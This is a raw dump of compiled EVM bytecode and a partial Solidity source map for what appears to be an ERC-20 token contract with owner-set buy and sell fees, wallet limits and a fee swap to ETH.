3165f908152600760205260408120548190839060ff1680156112745750601154610100900460ff165b15611283578392509050611342565b6001600160a01b0386165f908152600a602052604090205460ff16156112ca576112c360646112bd600f54876114cd90919063ffffffff16565b9061154b565b9050611307565b6001600160a01b0385165f908152600a602052604090205460ff16156113075761130460646112bd601054876114cd90919063ffffffff16565b90505b6001600160a01b0386165f9081526007602052604090205460ff161561133357835f9250925050611342565b61133d848261158c565b925090505b935093915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061137d5761137d61183a565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113f8919061184e565b8160018151811061140b5761140b61183a565b6001600160a01b0392831660209182029290920101526019546114319130911684610b2c565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906114699085905f90869030904290600401611869565b5f604051808303815f87803b158015611480575f80fd5b505af1158015611492573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f193505050501580156107e6573d5f803e3d5ffd5b5f825f036114dc57505f61077a565b5f6114e783856118d8565b9050826114f485836117f5565b1461084d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107a9565b5f61084d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115cd565b5f61084d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110eb565b5f81836115ed5760405162461bcd60e51b81526004016107a991906115f9565b505f61111a84866117f5565b5f6020808352835180828501525f5b8181101561162457858101830151858201604001528201611608565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611658575f80fd5b50565b5f806040838503121561166c575f80fd5b823561167781611644565b946020939093013593505050565b5f805f60608486031215611697575f80fd5b505081359360208301359350604090920135919050565b5f805f606084860312156116c0575f80fd5b83356116cb81611644565b925060208401356116db81611644565b929592945050506040919091013590565b5f602082840312156116fc575f80fd5b813561084d81611644565b5f60208284031215611717575f80fd5b5035919050565b5f6020828403121561172e575f80fd5b8135801515811461084d575f80fd5b5f806040838503121561174e575f80fd5b823561175981611644565b9150602083013561176981611644565b809150509250929050565b600181811c9082168061178857607f821691505b6020821081036117a657634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f8261180f57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561077a5761077a6117e1565b8181038181111561077a5761077a6117e1565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561185e575f80fd5b815161084d81611644565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118b75784516001600160a01b031683529383019391830191600101611892565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761077a5761077a6117e156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b45a7b193014ad6ebb898e22fe242c7896595888ee9c5b56fb13678398838d5164736f6c63430008150033

0x608060405260043610610215575f3560e01c80638f03aad51161011e578063b30d194c116100a8578063f11a24d31161006d578063f11a24d31461065d578063f1d5f51714610672578063f2fde38b14610691578063f6374342146106b0578063f8b45b05146106c5575f80fd5b8063b30d194c14610598578063c49b9a80146105ad578063c78a789b146105cc578063c816841b146105fa578063dd62ed3e14610619575f80fd5b806395d89b41116100ee57806395d89b411461051b57806399cf0b581461052f5780639c3b4fdc1461054f578063a0d82dc514610564578063a9059cbb14610579575f80fd5b80638f03aad5146104a5578063914eb66a146104c457806392136913146104d8578063940f1948146104ed575f80fd5b8063506162131161019f578063706f45c11161016f578063706f45c1146103fd57806370a082311461042b5780637bce5a041461045f5780638c0b5e22146104745780638da5cb5b14610489575f80fd5b8063506162131461037d57806355324fa91461039c5780636c6c3ccf146103ca5780636ddd1713146103df575f80fd5b806318160ddd116101e557806318160ddd146102df5780631d865c30146102fd57806323b872dd1461031e57806325519cf21461033d578063313ce5671461035c575f80fd5b806303fd2a451461022057806306fdde0314610270578063095ea7b3146102915780631694505e146102c0575f80fd5b3661021c57005b5f80fd5b34801561022b575f80fd5b506102537f000000000000000000000000000000000000000000000000000000000000dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561027b575f80fd5b506102846106da565b60405161026791906115f9565b34801561029c575f80fd5b506102b06102ab36600461165b565b61076a565b6040519015158152602001610267565b3480156102cb575f80fd5b50601954610253906001600160a01b031681565b3480156102ea575f80fd5b50600b545b604051908152602001610267565b348015610308575f80fd5b5061031c610317366004611685565b610780565b005b348015610329575f80fd5b506102b06103383660046116ae565b6107eb565b348015610348575f80fd5b5061031c610357366004611685565b610854565b348015610367575f80fd5b5060045460405160ff9091168152602001610267565b348015610388575f80fd5b506011546102b09062010000900460ff1681565b3480156103a7575f80fd5b506102b06103b63660046116ec565b600a6020525f908152604090205460ff1681565b3480156103d5575f80fd5b506102ef600f5481565b3480156103ea575f80fd5b506011546102b090610100900460ff1681565b348015610408575f80fd5b506102b06104173660046116ec565b60076020525f908152604090205460ff1681565b348015610436575f80fd5b506102ef6104453660046116ec565b6001600160a01b03165f9081526005602052604090205490565b34801561046a575f80fd5b506102ef60135481565b34801561047f575f80fd5b506102ef600c5481565b348015610494575f80fd5b505f546001600160a01b0316610253565b3480156104b0575f80fd5b5061031c6104bf366004611707565b6108ab565b3480156104cf575f80fd5b5061031c610948565b3480156104e3575f80fd5b506102ef60165481565b3480156104f8575f80fd5b506102b06105073660046116ec565b60086020525f908152604090205460ff1681565b348015610526575f80fd5b506102846109b9565b34801561053a575f80fd5b506011546102b0906301000000900460ff1681565b34801561055a575f80fd5b506102ef60145481565b34801561056f575f80fd5b506102ef60175481565b348015610584575f80fd5b506102b061059336600461165b565b6109c8565b3480156105a3575f80fd5b506102ef60105481565b3480156105b8575f80fd5b5061031c6105c736600461171e565b6109d4565b3480156105d7575f80fd5b506102b06105e63660046116ec565b60096020525f908152604090205460ff1681565b348015610605575f80fd5b50601a54610253906001600160a01b031681565b348015610624575f80fd5b506102ef61063336600461173d565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b348015610668575f80fd5b506102ef60125481565b34801561067d575f80fd5b5061031c61068c366004611707565b610a17565b34801561069c575f80fd5b5061031c6106ab3660046116ec565b610a45565b3480156106bb575f80fd5b506102ef60155481565b3480156106d0575f80fd5b506102ef600d5481565b6060600280546106e990611774565b80601f016020809104026020016040519081016040528092919081815260200182805461071590611774565b80156107605780601f1061073757610100808354040283529160200191610760565b820191905f5260205f20905b81548152906001019060200180831161074357829003601f168201915b5050505050905090565b5f610776338484610b2c565b5060015b92915050565b5f546001600160a01b031633146107b25760405162461bcd60e51b81526004016107a9906117ac565b60405180910390fd5b6015839055601682905560178190556107d5816107cf8585610c4f565b90610c4f565b6010819055601410156107e6575f80fd5b505050565b5f6107f7848484610cad565b506108498433610844856040518060600160405280602881526020016118f0602891396001600160a01b038a165f90815260066020908152604080832033845290915290205491906110eb565b610b2c565b5060015b9392505050565b5f546001600160a01b0316331461087d5760405162461bcd60e51b81526004016107a9906117ac565b60128390556013829055601481905561089a816107cf8585610c4f565b600f819055600a10156107e6575f80fd5b5f546001600160a01b031633146108d45760405162461bcd60e51b81526004016107a9906117ac565b6064600b546108e391906117f5565b8110156109435760405162461bcd60e51b815260206004820152602860248201527f4d61782077616c6c65742073686f756c64206265206d6f7265206f7220657175604482015267616c20746f20312560c01b60648201526084016107a9565b600c55565b5f546001600160a01b031633146109715760405162461bcd60e51b81526004016107a9906117ac565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600380546106e990611774565b5f610849338484610cad565b5f546001600160a01b031633146109fd5760405162461bcd60e51b81526004016107a9906117ac565b601180549115156101000261ff0019909216919091179055565b5f546001600160a01b03163314610a405760405162461bcd60e51b81526004016107a9906117ac565b600d55565b5f546001600160a01b03163314610a6e5760405162461bcd60e51b81526004016107a9906117ac565b6001600160a01b038116610ad35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107a9565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b8e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107a9565b6001600160a01b038216610bef5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107a9565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f80610c5b8385611814565b90508381101561084d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107a9565b5f6001600160a01b038416610d125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107a9565b6001600160a01b038316610d745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107a9565b60115460ff1615610d9157610d8a848484611123565b905061084d565b6001600160a01b0384165f9081526009602052604090205460ff16158015610dd157506001600160a01b0383165f9081526009602052604090205460ff16155b15610e3957600c54821115610e395760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016107a9565b305f90815260056020526040902054600e5481108015908190610e5f575060115460ff16155b8015610e8357506001600160a01b0386165f9081526007602052604090205460ff16155b8015610ea657506001600160a01b0385165f908152600a602052604090205460ff165b8015610eb95750601154610100900460ff165b8015610ec65750600e5484115b15610eeb5760115462010000900460ff1615610ee257600e5491505b610eeb82611206565b5f80610ef8888888611242565b915091505f868214610f0a5730610f0c565b885b90508115610f92576001600160a01b0381165f90815260056020526040902054610f369083610c4f565b6001600160a01b038083165f8181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f899086815260200190565b60405180910390a35b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038c165f90815260059091529190912054610fe39189906110eb565b6001600160a01b038a165f908152600560205260409020556011546301000000900460ff16801561102c57506001600160a01b0388165f9081526008602052604090205460ff16155b1561106057600d54611056846107cf8b6001600160a01b03165f9081526005602052604090205490565b1115611060575f80fd5b6001600160a01b0388165f908152600560205260409020546110829084610c4f565b6001600160a01b03808a165f8181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110d59087815260200190565b60405180910390a360019550505050505061084d565b5f818484111561110e5760405162461bcd60e51b81526004016107a991906115f9565b505f61111a8486611827565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f9081526005909152918220546111739184906110eb565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546111a19083610c4f565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111f49086815260200190565b60405180910390a35060019392505050565b6011805460ff1916600117905561121c8161134a565b6018544790611234906001600160a01b03168261149a565b50506011805460ff19169055565b6001600160a01b0383165f908152600760205260408120548190839060ff1680156112745750601154610100900460ff165b15611283578392509050611342565b6001600160a01b0386165f908152600a602052604090205460ff16156112ca576112c360646112bd600f54876114cd90919063ffffffff16565b9061154b565b9050611307565b6001600160a01b0385165f908152600a602052604090205460ff16156113075761130460646112bd601054876114cd90919063ffffffff16565b90505b6001600160a01b0386165f9081526007602052604090205460ff161561133357835f9250925050611342565b61133d848261158c565b925090505b935093915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061137d5761137d61183a565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113f8919061184e565b8160018151811061140b5761140b61183a565b6001600160a01b0392831660209182029290920101526019546114319130911684610b2c565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906114699085905f90869030904290600401611869565b5f604051808303815f87803b158015611480575f80fd5b505af1158015611492573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f193505050501580156107e6573d5f803e3d5ffd5b5f825f036114dc57505f61077a565b5f6114e783856118d8565b9050826114f485836117f5565b1461084d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107a9565b5f61084d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115cd565b5f61084d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110eb565b5f81836115ed5760405162461bcd60e51b81526004016107a991906115f9565b505f61111a84866117f5565b5f6020808352835180828501525f5b8181101561162457858101830151858201604001528201611608565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611658575f80fd5b50565b5f806040838503121561166c575f80fd5b823561167781611644565b946020939093013593505050565b5f805f60608486031215611697575f80fd5b505081359360208301359350604090920135919050565b5f805f606084860312156116c0575f80fd5b83356116cb81611644565b925060208401356116db81611644565b929592945050506040919091013590565b5f602082840312156116fc575f80fd5b813561084d81611644565b5f60208284031215611717575f80fd5b5035919050565b5f6020828403121561172e575f80fd5b8135801515811461084d575f80fd5b5f806040838503121561174e575f80fd5b823561175981611644565b9150602083013561176981611644565b809150509250929050565b600181811c9082168061178857607f821691505b6020821081036117a657634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f8261180f57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561077a5761077a6117e1565b8181038181111561077a5761077a6117e1565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561185e575f80fd5b815161084d81611644565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118b75784516001600160a01b031683529383019391830191600101611892565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761077a5761077a6117e156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b45a7b193014ad6ebb898e22fe242c7896595888ee9c5b56fb13678398838d5164736f6c63430008150033

6268:9403:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7558:74;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;7558:74:0;;;;;;;;8912:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;12988:161::-;;;;;;;;;;-1:-1:-1;12988:161:0;;;;;:::i;:::-;;:::i;:::-;;;1396:14:1;;1389:22;1371:41;;1359:2;1344:18;12988:161:0;1231:187:1;7641:37:0;;;;;;;;;;-1:-1:-1;7641:37:0;;;;-1:-1:-1;;;;;7641:37:0;;;9189:95;;;;;;;;;;-1:-1:-1;9269:7:0;;9189:95;;;1799:25:1;;;1787:2;1772:18;9189:95:0;1653:177:1;12489:378:0;;;;;;;;;;-1:-1:-1;12489:378:0;;;;;:::i;:::-;;:::i;:::-;;13447:313;;;;;;;;;;-1:-1:-1;13447:313:0;;;;;:::i;:::-;;:::i;12112:369::-;;;;;;;;;;-1:-1:-1;12112:369:0;;;;;:::i;:::-;;:::i;9098:83::-;;;;;;;;;;-1:-1:-1;9164:9:0;;9098:83;;9164:9;;;;2759:36:1;;2747:2;2732:18;9098:83:0;2617:184:1;7191:36:0;;;;;;;;;;-1:-1:-1;7191:36:0;;;;;;;;;;;6792:48;;;;;;;;;;-1:-1:-1;6792:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7050:31;;;;;;;;;;;;;;;;7153;;;;;;;;;;-1:-1:-1;7153:31:0;;;;;;;;;;;6618:49;;;;;;;;;;-1:-1:-1;6618:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9292:119;;;;;;;;;;-1:-1:-1;9292:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;9385:18:0;9358:7;9385:18;;;:9;:18;;;;;;;9292:119;7317:35;;;;;;;;;;;;;;;;6903:36;;;;;;;;;;;;;;;;3607:79;;;;;;;;;;-1:-1:-1;3645:7:0;3672:6;-1:-1:-1;;;;;3672:6:0;3607:79;;9574:206;;;;;;;;;;-1:-1:-1;9574:206:0;;;;;:::i;:::-;;:::i;3832:145::-;;;;;;;;;;;;;:::i;7436:36::-;;;;;;;;;;;;;;;;6674:53;;;;;;;;;;-1:-1:-1;6674:53:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9003:87;;;;;;;;;;;;;:::i;7234:33::-;;;;;;;;;;-1:-1:-1;7234:33:0;;;;;;;;;;;7359:28;;;;;;;;;;;;;;;;7479:29;;;;;;;;;;;;;;;;13272:167;;;;;;;;;;-1:-1:-1;13272:167:0;;;;;:::i;:::-;;:::i;7088:32::-;;;;;;;;;;;;;;;;13157:107;;;;;;;;;;-1:-1:-1;13157:107:0;;;;;:::i;:::-;;:::i;6734:51::-;;;;;;;;;;-1:-1:-1;6734:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7685:26;;;;;;;;;;-1:-1:-1;7685:26:0;;;;-1:-1:-1;;;;;7685:26:0;;;9419:143;;;;;;;;;;-1:-1:-1;9419:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;9527:18:0;;;9500:7;9527:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9419:143;7276:34;;;;;;;;;;;;;;;;12875:101;;;;;;;;;;-1:-1:-1;12875:101:0;;;;;:::i;:::-;;:::i;3985:244::-;;;;;;;;;;-1:-1:-1;3985:244:0;;;;;:::i;:::-;;:::i;7394:35::-;;;;;;;;;;;;;;;;6946:42;;;;;;;;;;;;;;;;8912:83;8949:13;8982:5;8975:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8912:83;:::o;12988:161::-;13063:4;13080:39;2983:10;13103:7;13112:6;13080:8;:39::i;:::-;-1:-1:-1;13137:4:0;12988:161;;;;;:::o;12489:378::-;3741:6;;-1:-1:-1;;;;;3741:6:0;2983:10;3741:22;3733:67;;;;-1:-1:-1;;;3733:67:0;;;;;;;:::i;:::-;;;;;;;;;12618:16:::1;:34:::0;;;12663:16:::1;:34:::0;;;12708:10:::1;:30:::0;;;12766:54:::1;12721:17:::0;12766:38:::1;12637:15:::0;12682;12766:20:::1;:38::i;:::-;:42:::0;::::1;:54::i;:::-;12751:12;:69:::0;;;12856:2:::1;-1:-1:-1::0;12840:18:0::1;12831:28;;;::::0;::::1;;12489:378:::0;;;:::o;13447:313::-;13545:4;13562:36;13572:6;13580:9;13591:6;13562:9;:36::i;:::-;-1:-1:-1;13609:121:0;13618:6;2983:10;13640:89;13678:6;13640:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13640:19:0;;;;;;:11;:19;;;;;;;;2983:10;13640:33;;;;;;;;;;:37;:89::i;:::-;13609:8;:121::i;:::-;-1:-1:-1;13748:4:0;13447:313;;;;;;:::o;12112:369::-;3741:6;;-1:-1:-1;;;;;3741:6:0;2983:10;3741:22;3733:67;;;;-1:-1:-1;;;3733:67:0;;;;;;;:::i;:::-;12240:15:::1;:33:::0;;;12284:15:::1;:33:::0;;;12328:9:::1;:29:::0;;;12384:51:::1;12340:17:::0;12384:36:::1;12258:15:::0;12302;12384:19:::1;:36::i;:51::-;12370:11;:65:::0;;;12470:2:::1;-1:-1:-1::0;12455:17:0::1;12446:27;;;::::0;::::1;9574:206:::0;3741:6;;-1:-1:-1;;;;;3741:6:0;2983:10;3741:22;3733:67;;;;-1:-1:-1;;;3733:67:0;;;;;;;:::i;:::-;9687:3:::1;9679:7;;:11;;;;:::i;:::-;9663:12;:27;;9655:80;;;::::0;-1:-1:-1;;;9655:80:0;;5216:2:1;9655:80:0::1;::::0;::::1;5198:21:1::0;5255:2;5235:18;;;5228:30;5294:34;5274:18;;;5267:62;-1:-1:-1;;;5345:18:1;;;5338:38;5393:19;;9655:80:0::1;5014:404:1::0;9655:80:0::1;9746:11;:26:::0;9574:206::o;3832:145::-;3741:6;;-1:-1:-1;;;;;3741:6:0;2983:10;3741:22;3733:67;;;;-1:-1:-1;;;3733:67:0;;;;;;;:::i;:::-;3936:1:::1;3920:6:::0;;3899:40:::1;::::0;-1:-1:-1;;;;;3920:6:0;;::::1;::::0;3899:40:::1;::::0;3936:1;;3899:40:::1;3967:1;3950:19:::0;;-1:-1:-1;;;;;;3950:19:0::1;::::0;;3832:145::o;9003:87::-;9042:13;9075:7;9068:14;;;;;:::i;13272:167::-;13350:4;13367:42;2983:10;13391:9;13402:6;13367:9;:42::i;13157:107::-;3741:6;;-1:-1:-1;;;;;3741:6:0;2983:10;3741:22;3733:67;;;;-1:-1:-1;;;3733:67:0;;;;;;;:::i;:::-;13234:11:::1;:22:::0;;;::::1;;;;-1:-1:-1::0;;13234:22:0;;::::1;::::0;;;::::1;::::0;;13157:107::o;12875:101::-;3741:6;;-1:-1:-1;;;;;3741:6:0;2983:10;3741:22;3733:67;;;;-1:-1:-1;;;3733:67:0;;;;;;;:::i;:::-;12947:9:::1;:21:::0;12875:101::o;3985:244::-;3741:6;;-1:-1:-1;;;;;3741:6:0;2983:10;3741:22;3733:67;;;;-1:-1:-1;;;3733:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4074:22:0;::::1;4066:73;;;::::0;-1:-1:-1;;;4066:73:0;;5625:2:1;4066:73:0::1;::::0;::::1;5607:21:1::0;5664:2;5644:18;;;5637:30;5703:34;5683:18;;;5676:62;-1:-1:-1;;;5754:18:1;;;5747:36;5800:19;;4066:73:0::1;5423:402:1::0;4066:73:0::1;4176:6;::::0;;4155:38:::1;::::0;-1:-1:-1;;;;;4155:38:0;;::::1;::::0;4176:6;::::1;::::0;4155:38:::1;::::0;::::1;4204:6;:17:::0;;-1:-1:-1;;;;;;4204:17:0::1;-1:-1:-1::0;;;;;4204:17:0;;;::::1;::::0;;;::::1;::::0;;3985:244::o;10518:337::-;-1:-1:-1;;;;;10611:19:0;;10603:68;;;;-1:-1:-1;;;10603:68:0;;6032:2:1;10603:68:0;;;6014:21:1;6071:2;6051:18;;;6044:30;6110:34;6090:18;;;6083:62;-1:-1:-1;;;6161:18:1;;;6154:34;6205:19;;10603:68:0;5830:400:1;10603:68:0;-1:-1:-1;;;;;10690:21:0;;10682:68;;;;-1:-1:-1;;;10682:68:0;;6437:2:1;10682:68:0;;;6419:21:1;6476:2;6456:18;;;6449:30;6515:34;6495:18;;;6488:62;-1:-1:-1;;;6566:18:1;;;6559:32;6608:19;;10682:68:0;6235:398:1;10682:68:0;-1:-1:-1;;;;;10763:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10815:32;;1799:25:1;;;10815:32:0;;1772:18:1;10815:32:0;;;;;;;10518:337;;;:::o;1326:181::-;1384:7;;1416:5;1420:1;1416;:5;:::i;:::-;1404:17;;1445:1;1440;:6;;1432:46;;;;-1:-1:-1;;;1432:46:0;;6970:2:1;1432:46:0;;;6952:21:1;7009:2;6989:18;;;6982:30;7048:29;7028:18;;;7021:57;7095:18;;1432:46:0;6768:351:1;13768:1896:0;13855:4;-1:-1:-1;;;;;13882:20:0;;13874:70;;;;-1:-1:-1;;;13874:70:0;;7326:2:1;13874:70:0;;;7308:21:1;7365:2;7345:18;;;7338:30;7404:34;7384:18;;;7377:62;-1:-1:-1;;;7455:18:1;;;7448:35;7500:19;;13874:70:0;7124:401:1;13874:70:0;-1:-1:-1;;;;;13963:23:0;;13955:71;;;;-1:-1:-1;;;13955:71:0;;7732:2:1;13955:71:0;;;7714:21:1;7771:2;7751:18;;;7744:30;7810:34;7790:18;;;7783:62;-1:-1:-1;;;7861:18:1;;;7854:33;7904:19;;13955:71:0;7530:399:1;13955:71:0;14042:8;;;;14039:1618;;;14084:41;14099:6;14107:9;14118:6;14084:14;:41::i;:::-;14077:48;;;;14039:1618;-1:-1:-1;;;;;14181:26:0;;;;;;:18;:26;;;;;;;;14180:27;:61;;;;-1:-1:-1;;;;;;14212:29:0;;;;;;:18;:29;;;;;;;;14211:30;14180:61;14177:175;;;14280:11;;14270:6;:21;;14262:74;;;;-1:-1:-1;;;14262:74:0;;8136:2:1;14262:74:0;;;8118:21:1;8175:2;8155:18;;;8148:30;8214:34;8194:18;;;8187:62;-1:-1:-1;;;8265:18:1;;;8258:38;8313:19;;14262:74:0;7934:404:1;14262:74:0;14429:4;14380:28;9385:18;;;:9;:18;;;;;;14505:13;;14481:37;;;;;;;14551:36;;-1:-1:-1;14579:8:0;;;;14578:9;14551:36;:65;;;;-1:-1:-1;;;;;;14592:24:0;;;;;;:16;:24;;;;;;;;14591:25;14551:65;:95;;;;-1:-1:-1;;;;;;14620:26:0;;;;;;:15;:26;;;;;;;;14551:95;:110;;;;-1:-1:-1;14650:11:0;;;;;;;14551:110;:136;;;;;14674:13;;14665:6;:22;14551:136;14547:322;;;14725:16;;;;;;;14722:78;;;14787:13;;14764:36;;14722:78;14819:30;14828:20;14819:8;:30::i;:::-;14886:19;14907:17;14928:38;14940:6;14948:9;14959:6;14928:11;:38::i;:::-;14885:81;;;;14983:19;15018:6;15005:9;:19;:44;;15044:4;15005:44;;;15027:6;15005:44;14983:66;-1:-1:-1;15067:13:0;;15064:179;;-1:-1:-1;;;;;15126:22:0;;;;;;:9;:22;;;;;;:37;;15153:9;15126:26;:37::i;:::-;-1:-1:-1;;;;;15101:22:0;;;;;;;:9;:22;;;;;;;:62;;;;15187:40;;;;;;;;;;15217:9;1799:25:1;;1787:2;1772:18;;1653:177;15187:40:0;;;;;;;;15064:179;15279:53;;;;;;;;;;;-1:-1:-1;;;15279:53:0;;;;;;;;-1:-1:-1;;;;;15279:17:0;;-1:-1:-1;15279:17:0;;;:9;:17;;;;;;;;:53;;15301:6;;15279:21;:53::i;:::-;-1:-1:-1;;;;;15259:17:0;;;;;;:9;:17;;;;;:73;15352:14;;;;;;;:50;;;;-1:-1:-1;;;;;;15371:31:0;;;;;;:20;:31;;;;;;;;15370:32;15352:50;15349:131;;;15470:9;;15429:37;15454:11;15429:20;15439:9;-1:-1:-1;;;;;9385:18:0;9358:7;9385:18;;;:9;:18;;;;;;;9292:119;15429:37;:50;;15421:59;;;;;;-1:-1:-1;;;;;15520:20:0;;;;;;:9;:20;;;;;;:37;;15545:11;15520:24;:37::i;:::-;-1:-1:-1;;;;;15497:20:0;;;;;;;:9;:20;;;;;;;:60;;;;15579:40;;;;;;;;;;15607:11;1799:25:1;;1787:2;1772:18;;1653:177;15579:40:0;;;;;;;;15641:4;15634:11;;;;;;;;;1659:192;1745:7;1781:12;1773:6;;;;1765:29;;;;-1:-1:-1;;;1765:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1805:9:0;1817:5;1821:1;1817;:5;:::i;:::-;1805:17;1659:192;-1:-1:-1;;;;;1659:192:0:o;10135:330::-;10265:53;;;;;;;;;;;-1:-1:-1;;;10265:53:0;;;;;;;;-1:-1:-1;;;;;10265:17:0;;10228:4;10265:17;;;:9;:17;;;;;;;:53;;10287:6;;10265:21;:53::i;:::-;-1:-1:-1;;;;;10245:17:0;;;;;;;:9;:17;;;;;;:73;;;;10352:20;;;;;;;:32;;10377:6;10352:24;:32::i;:::-;-1:-1:-1;;;;;10329:20:0;;;;;;;:9;:20;;;;;;;:55;;;;10400:35;;;;;;;;;;10428:6;1799:25:1;;1787:2;1772:18;;1653:177;10400:35:0;;;;;;;;-1:-1:-1;10453:4:0;10135:330;;;;;:::o;9788:214::-;7756:8;:15;;-1:-1:-1;;7756:15:0;7767:4;7756:15;;;9854:25:::1;9871:7:::0;9854:16:::1;:25::i;:::-;9963:10;::::0;9919:21:::1;::::0;9951:43:::1;::::0;-1:-1:-1;;;;;9963:10:0::1;9919:21:::0;9951:11:::1;:43::i;:::-;-1:-1:-1::0;;7794:8:0;:16;;-1:-1:-1;;7794:16:0;;;9788:214::o;11480:620::-;-1:-1:-1;;;;;11657:24:0;;11575:7;11657:24;;;:16;:24;;;;;;11575:7;;11634:6;;11657:24;;:39;;;;-1:-1:-1;11685:11:0;;;;;;;11657:39;11653:71;;;11706:6;;-1:-1:-1;11714:9:0;-1:-1:-1;11698:26:0;;11653:71;-1:-1:-1;;;;;11740:23:0;;;;;;:15;:23;;;;;;;;11737:217;;;11792:32;11820:3;11792:23;11803:11;;11792:6;:10;;:23;;;